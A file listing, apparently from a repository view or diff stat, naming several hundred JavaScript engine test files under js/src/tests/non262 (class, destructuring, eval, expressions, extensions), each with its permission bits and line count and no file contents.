-rw-r--r--js/src/tests/non262/class/superPropBasicGetter.js36
-rw-r--r--js/src/tests/non262/class/superPropBasicNew.js17
-rw-r--r--js/src/tests/non262/class/superPropChains.js58
-rw-r--r--js/src/tests/non262/class/superPropDVG.js17
-rw-r--r--js/src/tests/non262/class/superPropDelete.js64
-rw-r--r--js/src/tests/non262/class/superPropDerivedCalls.js77
-rw-r--r--js/src/tests/non262/class/superPropDestructuring.js43
-rw-r--r--js/src/tests/non262/class/superPropEvalInsideArrow.js11
-rw-r--r--js/src/tests/non262/class/superPropEvalInsideNested.js13
-rw-r--r--js/src/tests/non262/class/superPropFor.js25
-rw-r--r--js/src/tests/non262/class/superPropHeavyweightArrow.js12
-rw-r--r--js/src/tests/non262/class/superPropHomeObject.js61
-rw-r--r--js/src/tests/non262/class/superPropIncDecElem.js24
-rw-r--r--js/src/tests/non262/class/superPropLazyInnerFunction.js19
-rw-r--r--js/src/tests/non262/class/superPropNoOverwriting.js58
-rw-r--r--js/src/tests/non262/class/superPropOrdering.js93
-rw-r--r--js/src/tests/non262/class/superPropProtoChanges.js22
-rw-r--r--js/src/tests/non262/class/superPropProxies.js83
-rw-r--r--js/src/tests/non262/class/superPropSkips.js45
-rw-r--r--js/src/tests/non262/class/superPropStatics.js34
-rw-r--r--js/src/tests/non262/class/superPropStrictAssign.js23
-rw-r--r--js/src/tests/non262/class/superThisStrictNoBoxing.js31
-rw-r--r--js/src/tests/non262/class/uninitializedThisError.js53
-rw-r--r--js/src/tests/non262/comprehensions/browser.js0
-rw-r--r--js/src/tests/non262/comprehensions/shell.js0
-rw-r--r--js/src/tests/non262/destructuring/array-default-class.js25
-rw-r--r--js/src/tests/non262/destructuring/array-iterator-close.js93
-rw-r--r--js/src/tests/non262/destructuring/browser.js0
-rw-r--r--js/src/tests/non262/destructuring/bug1396261.js44
-rw-r--r--js/src/tests/non262/destructuring/constant-folding.js16
-rw-r--r--js/src/tests/non262/destructuring/cover-init-name-syntax.js72
-rw-r--r--js/src/tests/non262/destructuring/duplicate-__proto__.js54
-rw-r--r--js/src/tests/non262/destructuring/iterator-primitive.js36
-rw-r--r--js/src/tests/non262/destructuring/order-super.js701
-rw-r--r--js/src/tests/non262/destructuring/order.js719
-rw-r--r--js/src/tests/non262/destructuring/rest-parameter-aray-iterator.js40
-rw-r--r--js/src/tests/non262/destructuring/rest-parameter-arguments.js101
-rw-r--r--js/src/tests/non262/destructuring/rest-parameter-function-length.js41
-rw-r--r--js/src/tests/non262/destructuring/rest-parameter-spread-call-optimization.js29
-rw-r--r--js/src/tests/non262/destructuring/rest-parameter-syntax.js87
-rw-r--r--js/src/tests/non262/destructuring/rest-parameter.js54
-rw-r--r--js/src/tests/non262/destructuring/rest-with-trailing-comma.js45
-rw-r--r--js/src/tests/non262/destructuring/shell.js0
-rw-r--r--js/src/tests/non262/destructuring/yield-in-object-destr-function.js182
-rw-r--r--js/src/tests/non262/destructuring/yield-in-object-destr-generator.js200
-rw-r--r--js/src/tests/non262/destructuring/yield-in-object-destr-script.js123
-rw-r--r--js/src/tests/non262/destructuring/yield-with-escape-in-object-destr-function.js182
-rw-r--r--js/src/tests/non262/destructuring/yield-with-escape-in-object-destr-generator.js200
-rw-r--r--js/src/tests/non262/destructuring/yield-with-escape-in-object-destr-script.js123
-rw-r--r--js/src/tests/non262/ev32
-rw-r--r--js/src/tests/non262/eval/browser.js0
-rw-r--r--js/src/tests/non262/eval/exhaustive-fun-normalcaller-direct-normalcode.js208
-rw-r--r--js/src/tests/non262/eval/exhaustive-fun-normalcaller-direct-strictcode.js210
-rw-r--r--js/src/tests/non262/eval/exhaustive-fun-normalcaller-indirect-normalcode.js208
-rw-r--r--js/src/tests/non262/eval/exhaustive-fun-normalcaller-indirect-strictcode.js210
-rw-r--r--js/src/tests/non262/eval/exhaustive-fun-strictcaller-direct-normalcode.js212
-rw-r--r--js/src/tests/non262/eval/exhaustive-fun-strictcaller-direct-strictcode.js214
-rw-r--r--js/src/tests/non262/eval/exhaustive-fun-strictcaller-indirect-normalcode.js212
-rw-r--r--js/src/tests/non262/eval/exhaustive-fun-strictcaller-indirect-strictcode.js214
-rw-r--r--js/src/tests/non262/eval/exhaustive-global-normalcaller-direct-normalcode.js172
-rw-r--r--js/src/tests/non262/eval/exhaustive-global-normalcaller-direct-strictcode.js174
-rw-r--r--js/src/tests/non262/eval/exhaustive-global-normalcaller-indirect-normalcode.js172
-rw-r--r--js/src/tests/non262/eval/exhaustive-global-normalcaller-indirect-strictcode.js174
-rw-r--r--js/src/tests/non262/eval/exhaustive-global-strictcaller-direct-normalcode.js173
-rw-r--r--js/src/tests/non262/eval/exhaustive-global-strictcaller-direct-strictcode.js175
-rw-r--r--js/src/tests/non262/eval/exhaustive-global-strictcaller-indirect-normalcode.js173
-rw-r--r--js/src/tests/non262/eval/exhaustive-global-strictcaller-indirect-strictcode.js175
-rw-r--r--js/src/tests/non262/eval/line-terminator-paragraph-terminator.js24
-rw-r--r--js/src/tests/non262/eval/redeclared-arguments-in-param-expression-eval.js87
-rw-r--r--js/src/tests/non262/eval/shell.js0
-rw-r--r--js/src/tests/non262/eval/undeclared-name-in-nested-strict-eval.js26
-rw-r--r--js/src/tests/non262/execution-contexts/browser.js0
-rw-r--r--js/src/tests/non262/execution-contexts/regress-23346.js31
-rw-r--r--js/src/tests/non262/execution-contexts/regress-448595-01.js55
-rw-r--r--js/src/tests/non262/execution-contexts/shell.js0
-rw-r--r--js/src/tests/non262/expressions/11.1.5-01.js37
-rw-r--r--js/src/tests/non262/expressions/ToPropertyKey-symbols.js90
-rw-r--r--js/src/tests/non262/expressions/binary-literals.js115
-rw-r--r--js/src/tests/non262/expressions/browser.js0
-rw-r--r--js/src/tests/non262/expressions/computed-property-side-effects.js35
-rw-r--r--js/src/tests/non262/expressions/constant-folded-labeled-statement.js14
-rw-r--r--js/src/tests/non262/expressions/delete-constant-folded-and-or.js41
-rw-r--r--js/src/tests/non262/expressions/delete-name-parenthesized-early-error-strict-mode.js76
-rw-r--r--js/src/tests/non262/expressions/destructuring-array-default-call.js10
-rw-r--r--js/src/tests/non262/expressions/destructuring-array-default-class.js72
-rw-r--r--js/src/tests/non262/expressions/destructuring-array-default-function-nested.js11
-rw-r--r--js/src/tests/non262/expressions/destructuring-array-default-function.js11
-rw-r--r--js/src/tests/non262/expressions/destructuring-array-default-simple.js16
-rw-r--r--js/src/tests/non262/expressions/destructuring-array-default-yield.js22
-rw-r--r--js/src/tests/non262/expressions/destructuring-array-done.js319
-rw-r--r--js/src/tests/non262/expressions/destructuring-array-lexical.js12
-rw-r--r--js/src/tests/non262/expressions/destructuring-pattern-parenthesized.js137
-rw-r--r--js/src/tests/non262/expressions/destructuring-scope.js67
-rw-r--r--js/src/tests/non262/expressions/exponentiation-unparenthesised-unary.js106
-rw-r--r--js/src/tests/non262/expressions/inNotObjectError.js46
-rw-r--r--js/src/tests/non262/expressions/named-accessor-function.js49
-rw-r--r--js/src/tests/non262/expressions/nested-delete-name-in-evalcode.js163
-rw-r--r--js/src/tests/non262/expressions/nullish-coalescing.js112
-rw-r--r--js/src/tests/non262/expressions/object-literal-__proto__.js267
-rw-r--r--js/src/tests/non262/expressions/object-literal-accessor-arguments.js42
-rw-r--r--js/src/tests/non262/expressions/object-literal-accessor-property-name.js29
-rw-r--r--js/src/tests/non262/expressions/object-literal-computed-property-evaluation.js38
-rw-r--r--js/src/tests/non262/expressions/octal-literals.js103
-rw-r--r--js/src/tests/non262/expressions/optional-chain-class-heritage.js10
-rw-r--r--js/src/tests/non262/expressions/optional-chain-first-expression.js92
-rw-r--r--js/src/tests/non262/expressions/optional-chain-super-elem.js12
-rw-r--r--js/src/tests/non262/expressions/optional-chain.js263
-rw-r--r--js/src/tests/non262/expressions/primitive-this-boxing-behavior.js106
-rw-r--r--js/src/tests/non262/expressions/regress-192288.js82
-rw-r--r--js/src/tests/non262/expressions/regress-346203.js25
-rw-r--r--js/src/tests/non262/expressions/regress-346645-01.js31
-rw-r--r--js/src/tests/non262/expressions/regress-346645-02.js31
-rw-r--r--js/src/tests/non262/expressions/regress-346645-03.js31
-rw-r--r--js/src/tests/non262/expressions/regress-394673.js49
-rw-r--r--js/src/tests/non262/expressions/regress-418051.js31
-rw-r--r--js/src/tests/non262/expressions/regress-451340.js24
-rw-r--r--js/src/tests/non262/expressions/regress-96526-argsub.js88
-rw-r--r--js/src/tests/non262/expressions/regress-96526-delelem.js88
-rw-r--r--js/src/tests/non262/expressions/regress-96526-noargsub.js88
-rw-r--r--js/src/tests/non262/expressions/shell.js288
-rw-r--r--js/src/tests/non262/expressions/short-circuit-compound-assignment-anon-fns.js42
-rw-r--r--js/src/tests/non262/expressions/short-circuit-compound-assignment-const.js90
-rw-r--r--js/src/tests/non262/expressions/short-circuit-compound-assignment-deleted-decl-binding.js65
-rw-r--r--js/src/tests/non262/expressions/short-circuit-compound-assignment-property-key-evaluation.js68
-rw-r--r--js/src/tests/non262/expressions/short-circuit-compound-assignment-scope-lookup.js191
-rw-r--r--js/src/tests/non262/expressions/short-circuit-compound-assignment-tdz.js32
-rw-r--r--js/src/tests/non262/expressions/short-circuit-compound-assignment.js265
-rw-r--r--js/src/tests/non262/expressions/string-literal-escape-sequences.js146
-rw-r--r--js/src/tests/non262/expressions/tagged-template-constant-folding.js28
-rw-r--r--js/src/tests/non262/expressions/trailing_comma_arguments.js85
-rw-r--r--js/src/tests/non262/expressions/trailing_comma_arrow.js108
-rw-r--r--js/src/tests/non262/expressions/trailing_comma_getter_setter.js88
-rw-r--r--js/src/tests/non262/expressions/trailing_comma_parameters.js165
-rw-r--r--js/src/tests/non262/extensions/15.9.4.2.js56
-rw-r--r--js/src/tests/non262/extensions/8.12.5-01.js70
-rw-r--r--js/src/tests/non262/extensions/ArrayBuffer-slice-arguments-detaching.js80
-rw-r--r--js/src/tests/non262/extensions/Boolean-toSource.js19
-rw-r--r--js/src/tests/non262/extensions/DataView-construct-arguments-detaching.js80
-rw-r--r--js/src/tests/non262/extensions/DataView-set-arguments-detaching.js84
-rw-r--r--js/src/tests/non262/extensions/Number-toSource.js19
-rw-r--r--js/src/tests/non262/extensions/RegExp-error-message-skip-selfhosted-frames.js11
-rw-r--r--js/src/tests/non262/extensions/RegExp-replace-lastParen.js12
-rw-r--r--js/src/tests/non262/extensions/String-match-flags.js27
-rw-r--r--js/src/tests/non262/extensions/String-methods-infinite-recursion.js36
-rw-r--r--js/src/tests/non262/extensions/String-toSource.js16
-rw-r--r--js/src/tests/non262/extensions/TypedArray-set-object-funky-length-detaches.js65
-rw-r--r--js/src/tests/non262/extensions/TypedArray-subarray-arguments-detaching.js111
-rw-r--r--js/src/tests/non262/extensions/__proto__.js53
-rw-r--r--js/src/tests/non262/extensions/arguments-property-access-in-function.js58
-rw-r--r--js/src/tests/non262/extensions/array-inherited-__proto__.js32
-rw-r--r--js/src/tests/non262/extensions/array-isArray-proxy-recursion.js41
-rw-r--r--js/src/tests/non262/extensions/array-length-protochange.js35
-rw-r--r--js/src/tests/non262/extensions/array-pop-proxy.js24
-rw-r--r--js/src/tests/non262/extensions/array-toString-recursion.js46
-rw-r--r--js/src/tests/non262/extensions/arraybuffer-prototype.js28
-rw-r--r--js/src/tests/non262/extensions/bad-regexp-data-clone.js20
-rw-r--r--js/src/tests/non262/extensions/basic-for-each.js58
-rw-r--r--js/src/tests/non262/extensions/basic-for-in.js46
-rw-r--r--js/src/tests/non262/extensions/browser.js6
-rw-r--r--js/src/tests/non262/extensions/bug472534.js30
-rw-r--r--js/src/tests/non262/extensions/builtin-function-arguments-caller.js60
-rw-r--r--js/src/tests/non262/extensions/censor-strict-caller.js15
-rw-r--r--js/src/tests/non262/extensions/clone-bigint.js20
-rw-r--r--js/src/tests/non262/extensions/clone-complex-object.js313
-rw-r--r--js/src/tests/non262/extensions/clone-errors.js40
-rw-r--r--js/src/tests/non262/extensions/clone-forge.js39
-rw-r--r--js/src/tests/non262/extensions/clone-invalid-property-key.js22
-rw-r--r--js/src/tests/non262/extensions/clone-leaf-object.js68
-rw-r--r--js/src/tests/non262/extensions/clone-many-transferables.js25
-rw-r--r--js/src/tests/non262/extensions/clone-object-deep.js25
-rw-r--r--js/src/tests/non262/extensions/clone-object.js143
-rw-r--r--js/src/tests/non262/extensions/clone-regexp.js36
-rw-r--r--js/src/tests/non262/extensions/clone-sab-failure.js39
-rw-r--r--js/src/tests/non262/extensions/clone-sab-leak.js53
-rw-r--r--js/src/tests/non262/extensions/clone-sab.js31
-rw-r--r--js/src/tests/non262/extensions/clone-simple.js33
-rw-r--r--js/src/tests/non262/extensions/clone-transferables.js129
-rw-r--r--js/src/tests/non262/extensions/clone-typed-array.js104
-rw-r--r--js/src/tests/non262/extensions/clone-v1-typed-array-data.dat32
-rw-r--r--js/src/tests/non262/extensions/clone-v1-typed-array.js130
-rw-r--r--js/src/tests/non262/extensions/collect-gray.js153
-rw-r--r--js/src/tests/non262/extensions/column-numbers.js10
-rw-r--r--js/src/tests/non262/extensions/cross-global-eval-is-indirect.js60
-rw-r--r--js/src/tests/non262/extensions/cross-global-getPrototypeOf.js55
-rw-r--r--js/src/tests/non262/extensions/dataview.js1647
-rw-r--r--js/src/tests/non262/extensions/decompile-for-of.js27
-rw-r--r--js/src/tests/non262/extensions/destructure-accessor.js75
-rw-r--r--js/src/tests/non262/extensions/destructuring-__proto__-shorthand-assignment-before-var.js49
-rw-r--r--js/src/tests/non262/extensions/destructuring-__proto__-shorthand-assignment.js49
-rw-r--r--js/src/tests/non262/extensions/destructuring-__proto__-target-assignment.js50
-rw-r--r--js/src/tests/non262/extensions/destructuring-for-inof-__proto__.js85
-rw-r--r--js/src/tests/non262/extensions/destructuring-order.js150
-rw-r--r--js/src/tests/non262/extensions/element-setting-ToNumber-detaches.js35
-rw-r--r--js/src/tests/non262/extensions/empty.txt0
-rw-r--r--js/src/tests/non262/extensions/error-tostring-function.js45
-rw-r--r--js/src/tests/non262/extensions/errorcolumnblame.js79
-rw-r--r--js/src/tests/non262/extensions/es5ish-defineGetter-defineSetter.js281
-rw-r--r--js/src/tests/non262/extensions/eval-native-callback-is-indirect.js33
-rw-r--r--js/src/tests/non262/extensions/expression-closure-syntax.js64
-rw-r--r--js/src/tests/non262/extensions/extension-methods-reject-null-undefined-this.js105
-rw-r--r--js/src/tests/non262/extensions/file-mapped-arraybuffers.js48
-rw-r--r--js/src/tests/non262/extensions/file-mapped-arraybuffers.txt1
-rw-r--r--js/src/tests/non262/extensions/for-loop-with-lexical-declaration-and-nested-function-statement.js130
-rw-r--r--js/src/tests/non262/extensions/function-caller-skips-eval-frames.js34
-rw-r--r--js/src/tests/non262/extensions/function-caller-strict-cross-global.js16
-rw-r--r--js/src/tests/non262/extensions/function-definition-with.js56
-rw-r--r--js/src/tests/non262/extensions/function-properties.js21
-rw-r--r--js/src/tests/non262/extensions/getOwnPropertyNames-__proto__.js26
-rw-r--r--js/src/tests/non262/extensions/getset-001.js49
-rw-r--r--js/src/tests/non262/extensions/getset-003.js186
-rw-r--r--js/src/tests/non262/extensions/getset-004.js174
-rw-r--r--js/src/tests/non262/extensions/getset-005.js183
-rw-r--r--js/src/tests/non262/extensions/getset-006.js157
-rw-r--r--js/src/tests/non262/extensions/inc-dec-functioncall.js90
-rw-r--r--js/src/tests/non262/extensions/keyword-unescaped-requirement-modules.js99
-rw-r--r--js/src/tests/non262/extensions/keyword-unescaped-requirement.js43
-rw-r--r--js/src/tests/non262/extensions/mutable-proto-special-form.js91
-rw-r--r--js/src/tests/non262/extensions/nested-delete-name-in-evalcode.js85
-rw-r--r--js/src/tests/non262/extensions/new-cross-compartment.js39
-rw-r--r--js/src/tests/non262/extensions/new-parenthesization.js21
-rw-r--r--js/src/tests/non262/extensions/newer-type-functions-caller-arguments.js94
-rw-r--r--js/src/tests/non262/extensions/non_syntactic.js46
-rw-r--r--js/src/tests/non262/extensions/object-toSource-override-on-getter.js14
-rw-r--r--js/src/tests/non262/extensions/object-toSource-undefined-getter.js11
-rw-r--r--js/src/tests/non262/extensions/object-toSource-with-symbol-keys.js16
-rw-r--r--js/src/tests/non262/extensions/parse-rest-destructuring-parameter.js27
-rw-r--r--js/src/tests/non262/extensions/preventExtensions-cross-global.js49
-rw-r--r--js/src/tests/non262/extensions/proxy-array-target-length-definition.js55
-rw-r--r--js/src/tests/non262/extensions/proxy-enumeration.js4
-rw-r--r--js/src/tests/non262/extensions/proxy-proto-setter.js50
-rw-r--r--js/src/tests/non262/extensions/proxy-strict.js12
-rw-r--r--js/src/tests/non262/extensions/quote-string-for-nul-character.js94
-rw-r--r--js/src/tests/non262/extensions/recursion.js60
-rw-r--r--js/src/tests/non262/extensions/redeclaration-of-catch-warning.js37
-rw-r--r--js/src/tests/non262/extensions/reentrant-RegExp-creation-and-gc-during-new-RegExp-pattern-ToString.js41
-rw-r--r--js/src/tests/non262/extensions/regress-103087.js141
-rw-r--r--js/src/tests/non262/extensions/regress-104077.js195
-rw-r--r--js/src/tests/non262/extensions/regress-178722.js90
-rw-r--r--js/src/tests/non262/extensions/regress-188206-01.js71
-rw-r--r--js/src/tests/non262/extensions/regress-188206-02.js121
-rw-r--r--js/src/tests/non262/extensions/regress-192465.js122
-rw-r--r--js/src/tests/non262/extensions/regress-220367-002.js75
-rw-r--r--js/src/tests/non262/extensions/regress-226078.js33
-rw-r--r--js/src/tests/non262/extensions/regress-228087.js316
-rw-r--r--js/src/tests/non262/extensions/regress-245148.js20
-rw-r--r--js/src/tests/non262/extensions/regress-255245.js29
-rw-r--r--js/src/tests/non262/extensions/regress-274152.js48
-rw-r--r--js/src/tests/non262/extensions/regress-300079.js42
-rw-r--r--js/src/tests/non262/extensions/regress-311161.js1440
-rw-r--r--js/src/tests/non262/extensions/regress-311792-01.js26
-rw-r--r--js/src/tests/non262/extensions/regress-311792-02.js40
-rw-r--r--js/src/tests/non262/extensions/regress-313763.js46
-rw-r--r--js/src/tests/non262/extensions/regress-314874.js35
-rw-r--r--js/src/tests/non262/extensions/regress-315509-02.js42
-rw-r--r--js/src/tests/non262/extensions/regress-319683.js31
-rw-r--r--js/src/tests/non262/extensions/regress-320854.js20
-rw-r--r--js/src/tests/non262/extensions/regress-327170.js25
-rw-r--r--js/src/tests/non262/extensions/regress-327608.js42
-rw-r--r--js/src/tests/non262/extensions/regress-328443.js32
-rw-r--r--js/src/tests/non262/extensions/regress-330569.js91
-rw-r--r--js/src/tests/non262/extensions/regress-333541.js59
-rw-r--r--js/src/tests/non262/extensions/regress-336409-1.js50
-rw-r--r--js/src/tests/non262/extensions/regress-336409-2.js49
-rw-r--r--js/src/tests/non262/extensions/regress-336410-1.js50
-rw-r--r--js/src/tests/non262/extensions/regress-336410-2.js49
-rw-r--r--js/src/tests/non262/extensions/regress-339685.js27
-rw-r--r--js/src/tests/non262/extensions/regress-341956-01.js65
-rw-r--r--js/src/tests/non262/extensions/regress-341956-02.js52
-rw-r--r--js/src/tests/non262/extensions/regress-341956-03.js69
-rw-r--r--js/src/tests/non262/extensions/regress-342960.js43
-rw-r--r--js/src/tests/non262/extensions/regress-345967.js65
-rw-r--r--js/src/tests/non262/extensions/regress-346642-06.js59
-rw-r--r--js/src/tests/non262/extensions/regress-346773.js49
-rw-r--r--js/src/tests/non262/extensions/regress-350312-01.js43
-rw-r--r--js/src/tests/non262/extensions/regress-350312.js66
-rw-r--r--js/src/tests/non262/extensions/regress-351070-02.js65
-rw-r--r--js/src/tests/non262/extensions/regress-351448.js59
-rw-r--r--js/src/tests/non262/extensions/regress-351463-01.js250
-rw-r--r--js/src/tests/non262/extensions/regress-351973.js50
-rw-r--r--js/src/tests/non262/extensions/regress-352291.js38
-rw-r--r--js/src/tests/non262/extensions/regress-352372.js62
-rw-r--r--js/src/tests/non262/extensions/regress-352604.js30
-rw-r--r--js/src/tests/non262/extensions/regress-353116.js75
-rw-r--r--js/src/tests/non262/extensions/regress-353214-02.js27
-rw-r--r--js/src/tests/non262/extensions/regress-354297.js27
-rw-r--r--js/src/tests/non262/extensions/regress-355052-01.js34
-rw-r--r--js/src/tests/non262/extensions/regress-355052-02.js34
-rw-r--r--js/src/tests/non262/extensions/regress-355052-03.js40
-rw-r--r--js/src/tests/non262/extensions/regress-355410.js37
-rw-r--r--js/src/tests/non262/extensions/regress-355497.js58
-rw-r--r--js/src/tests/non262/extensions/regress-363040-01.js62
-rw-r--r--js/src/tests/non262/extensions/regress-363040-02.js61
-rw-r--r--js/src/tests/non262/extensions/regress-363258.js45
-rw-r--r--js/src/tests/non262/extensions/regress-363988.js44
-rw-r--r--js/src/tests/non262/extensions/regress-365527.js63
-rw-r--r--js/src/tests/non262/extensions/regress-365692.js40
-rw-r--r--js/src/tests/non262/extensions/regress-365869.js35
-rw-r--r--js/src/tests/non262/extensions/regress-366288.js18
-rw-r--r--js/src/tests/non262/extensions/regress-366292.js19
-rw-r--r--js/src/tests/non262/extensions/regress-366396.js17
-rw-r--r--js/src/tests/non262/extensions/regress-366668-01.js28
-rw-r--r--js/src/tests/non262/extensions/regress-367501-01.js32
-rw-r--r--js/src/tests/non262/extensions/regress-367501-02.js34
-rw-r--r--js/src/tests/non262/extensions/regress-367501-03.js35
-rw-r--r--js/src/tests/non262/extensions/regress-367501-04.js35
-rw-r--r--js/src/tests/non262/extensions/regress-367589.js39
-rw-r--r--js/src/tests/non262/extensions/regress-368213.js17
-rw-r--r--js/src/tests/non262/extensions/regress-368224.js25
-rw-r--r--js/src/tests/non262/extensions/regress-368516.js41
-rw-r--r--js/src/tests/non262/extensions/regress-369404.js39
-rw-r--r--js/src/tests/non262/extensions/regress-369696-01.js30
-rw-r--r--js/src/tests/non262/extensions/regress-369696-02.js57
-rw-r--r--js/src/tests/non262/extensions/regress-369696-03.js46
-rw-r--r--js/src/tests/non262/extensions/regress-372309.js37
-rw-r--r--js/src/tests/non262/extensions/regress-375183.js59
-rw-r--r--js/src/tests/non262/extensions/regress-375344.js34
-rw-r--r--js/src/tests/non262/extensions/regress-379566.js44
-rw-r--r--js/src/tests/non262/extensions/regress-380889.js37
-rw-r--r--js/src/tests/non262/extensions/regress-381303.js34
-rw-r--r--js/src/tests/non262/extensions/regress-381304.js69
-rw-r--r--js/src/tests/non262/extensions/regress-385393-02.js31
-rw-r--r--js/src/tests/non262/extensions/regress-385393-08.js25
-rw-r--r--js/src/tests/non262/extensions/regress-390598.js31
-rw-r--r--js/src/tests/non262/extensions/regress-394967.js39
-rw-r--r--js/src/tests/non262/extensions/regress-396326-01.js34
-rw-r--r--js/src/tests/non262/extensions/regress-396326.js45
-rw-r--r--js/src/tests/non262/extensions/regress-406572.js47
-rw-r--r--js/src/tests/non262/extensions/regress-407501.js39
-rw-r--r--js/src/tests/non262/extensions/regress-407720.js44
-rw-r--r--js/src/tests/non262/extensions/regress-412926.js54
-rw-r--r--js/src/tests/non262/extensions/regress-414098.js34
-rw-r--r--js/src/tests/non262/extensions/regress-414755.js51
-rw-r--r--js/src/tests/non262/extensions/regress-416354.js45
-rw-r--r--js/src/tests/non262/extensions/regress-416460.js27
-rw-r--r--js/src/tests/non262/extensions/regress-416834.js20
-rw-r--r--js/src/tests/non262/extensions/regress-420869-01.js37
-rw-r--r--js/src/tests/non262/extensions/regress-422592.js65
-rw-r--r--js/src/tests/non262/extensions/regress-424683-01.js33
-rw-r--r--js/src/tests/non262/extensions/regress-426711.js31
-rw-r--r--js/src/tests/non262/extensions/regress-427196-01.js37
-rw-r--r--js/src/tests/non262/extensions/regress-427196-02.js34
-rw-r--r--js/src/tests/non262/extensions/regress-427196-03.js28
-rw-r--r--js/src/tests/non262/extensions/regress-429739.js33
-rw-r--r--js/src/tests/non262/extensions/regress-430740.js36
-rw-r--r--js/src/tests/non262/extensions/regress-434837-01.js87
-rw-r--r--js/src/tests/non262/extensions/regress-435497-01.js31
-rw-r--r--js/src/tests/non262/extensions/regress-435497-02.js31
-rw-r--r--js/src/tests/non262/extensions/regress-435497-03.js31
-rw-r--r--js/src/tests/non262/extensions/regress-436741.js32
-rw-r--r--js/src/tests/non262/extensions/regress-437288-01.js32
-rw-r--r--js/src/tests/non262/extensions/regress-44009.js51
-rw-r--r--js/src/tests/non262/extensions/regress-443569.js35
-rw-r--r--js/src/tests/non262/extensions/regress-446386.js44
-rw-r--r--js/src/tests/non262/extensions/regress-452168.js39
-rw-r--r--js/src/tests/non262/extensions/regress-452178.js27
-rw-r--r--js/src/tests/non262/extensions/regress-452329.js24
-rw-r--r--js/src/tests/non262/extensions/regress-452338.js26
-rw-r--r--js/src/tests/non262/extensions/regress-452498-162.js24
-rw-r--r--js/src/tests/non262/extensions/regress-452498-196.js32
-rw-r--r--js/src/tests/non262/extensions/regress-452565.js19
-rw-r--r--js/src/tests/non262/extensions/regress-452913.js18
-rw-r--r--js/src/tests/non262/extensions/regress-453249.js21
-rw-r--r--js/src/tests/non262/extensions/regress-454744.js32
-rw-r--r--js/src/tests/non262/extensions/regress-455380.js60
-rw-r--r--js/src/tests/non262/extensions/regress-455408.js26
-rw-r--r--js/src/tests/non262/extensions/regress-456826.js126
-rw-r--r--js/src/tests/non262/extensions/regress-459606.js26
-rw-r--r--js/src/tests/non262/extensions/regress-462734-02.js26
-rw-r--r--js/src/tests/non262/extensions/regress-462734-03.js25
-rw-r--r--js/src/tests/non262/extensions/regress-462734-04.js29
-rw-r--r--js/src/tests/non262/extensions/regress-465276.js29
-rw-r--r--js/src/tests/non262/extensions/regress-465337.js28
-rw-r--r--js/src/tests/non262/extensions/regress-465443.js36
-rw-r--r--js/src/tests/non262/extensions/regress-465453.js38
-rw-r--r--js/src/tests/non262/extensions/regress-466905-04.js46
-rw-r--r--js/src/tests/non262/extensions/regress-466905-05.js42
-rw-r--r--js/src/tests/non262/extensions/regress-469234.js27
-rw-r--r--js/src/tests/non262/extensions/regress-469405-01.js27
-rw-r--r--js/src/tests/non262/extensions/regress-469405-02.js25
-rw-r--r--js/src/tests/non262/extensions/regress-469625-01.js39
-rw-r--r--js/src/tests/non262/extensions/regress-469625.js28
-rw-r--r--js/src/tests/non262/extensions/regress-469761.js28
-rw-r--r--js/src/tests/non262/extensions/regress-470300-01.js27
-rw-r--r--js/src/tests/non262/extensions/regress-470300-02.js27
-rw-r--r--js/src/tests/non262/extensions/regress-470310.js30
-rw-r--r--js/src/tests/non262/extensions/regress-472450-03.js31
-rw-r--r--js/src/tests/non262/extensions/regress-472450-04.js33
-rw-r--r--js/src/tests/non262/extensions/regress-472599.js29
-rw-r--r--js/src/tests/non262/extensions/regress-473040.js25
-rw-r--r--js/src/tests/non262/extensions/regress-474771-01.js29
-rw-r--r--js/src/tests/non262/extensions/regress-474771-02.js20
-rw-r--r--js/src/tests/non262/extensions/regress-476414-01.js61
-rw-r--r--js/src/tests/non262/extensions/regress-476414-02.js61
-rw-r--r--js/src/tests/non262/extensions/regress-476447.js30
-rw-r--r--js/src/tests/non262/extensions/regress-476653.js33
-rw-r--r--js/src/tests/non262/extensions/regress-476869.js42
-rw-r--r--js/src/tests/non262/extensions/regress-477158.js28
-rw-r--r--js/src/tests/non262/extensions/regress-477187.js38
-rw-r--r--js/src/tests/non262/extensions/regress-479487.js41
-rw-r--r--js/src/tests/non262/extensions/regress-479551.js39
-rw-r--r--js/src/tests/non262/extensions/regress-480579.js35
-rw-r--r--js/src/tests/non262/extensions/regress-481516.js38
-rw-r--r--js/src/tests/non262/extensions/regress-482263.js26
-rw-r--r--js/src/tests/non262/extensions/regress-50447-1.js179
-rw-r--r--js/src/tests/non262/extensions/regress-543839.js36
-rw-r--r--js/src/tests/non262/extensions/regress-591450.js12
-rw-r--r--js/src/tests/non262/extensions/regress-636818.js9
-rw-r--r--js/src/tests/non262/extensions/regress-645160.js8
-rw-r--r--js/src/tests/non262/extensions/regress-650753.js8
-rw-r--r--js/src/tests/non262/extensions/regress-696109.js13
-rw-r--r--js/src/tests/non262/extensions/regress-90596-001.js264
-rw-r--r--js/src/tests/non262/extensions/regress-96284-001.js147
-rw-r--r--js/src/tests/non262/extensions/regress-bug607284.js16
-rw-r--r--js/src/tests/non262/extensions/regress-bug629723.js16
-rw-r--r--js/src/tests/non262/extensions/reviver-mutates-holder-array-ccw.js39
-rw-r--r--js/src/tests/non262/extensions/reviver-mutates-holder-array-nonnative.js46
-rw-r--r--js/src/tests/non262/extensions/reviver-mutates-holder-array.js39
-rw-r--r--js/src/tests/non262/extensions/reviver-mutates-holder-object-ccw.js56
-rw-r--r--js/src/tests/non262/extensions/reviver-mutates-holder-object-nonnative.js60
-rw-r--r--js/src/tests/non262/extensions/reviver-mutates-holder-object.js56
-rw-r--r--js/src/tests/non262/extensions/scope-001.js84
-rw-r--r--js/src/tests/non262/extensions/set-property-non-extensible.js30
-rw-r--r--js/src/tests/non262/extensions/setImmutablePrototype.js196
-rw-r--r--js/src/tests/non262/extensions/shareddataview.js43
-rw-r--r--js/src/tests/non262/extensions/sharedtypedarray.js273
-rw-r--r--js/src/tests/non262/extensions/shell.js345
-rw-r--r--js/src/tests/non262/extensions/sps-generators.js39
-rw-r--r--js/src/tests/non262/extensions/string-literal-getter-setter-decompilation.js34
-rw-r--r--js/src/tests/non262/extensions/toLength.js41
-rw-r--r--js/src/tests/non262/extensions/toLocaleString-infinite-recursion.js31
-rw-r--r--js/src/tests/non262/extensions/toSource-infinite-recursion.js36
-rw-r--r--js/src/tests/non262/extensions/too-many-arguments-constructing-bound-function.js54
-rw-r--r--js/src/tests/non262/extensions/typedarray-copyWithin-arguments-detaching.js111
-rw-r--r--js/src/tests/non262/extensions/typedarray-set-neutering.js45
-rw-r--r--js/src/tests/non262/extensions/typedarray-subarray-of-subarray.js33
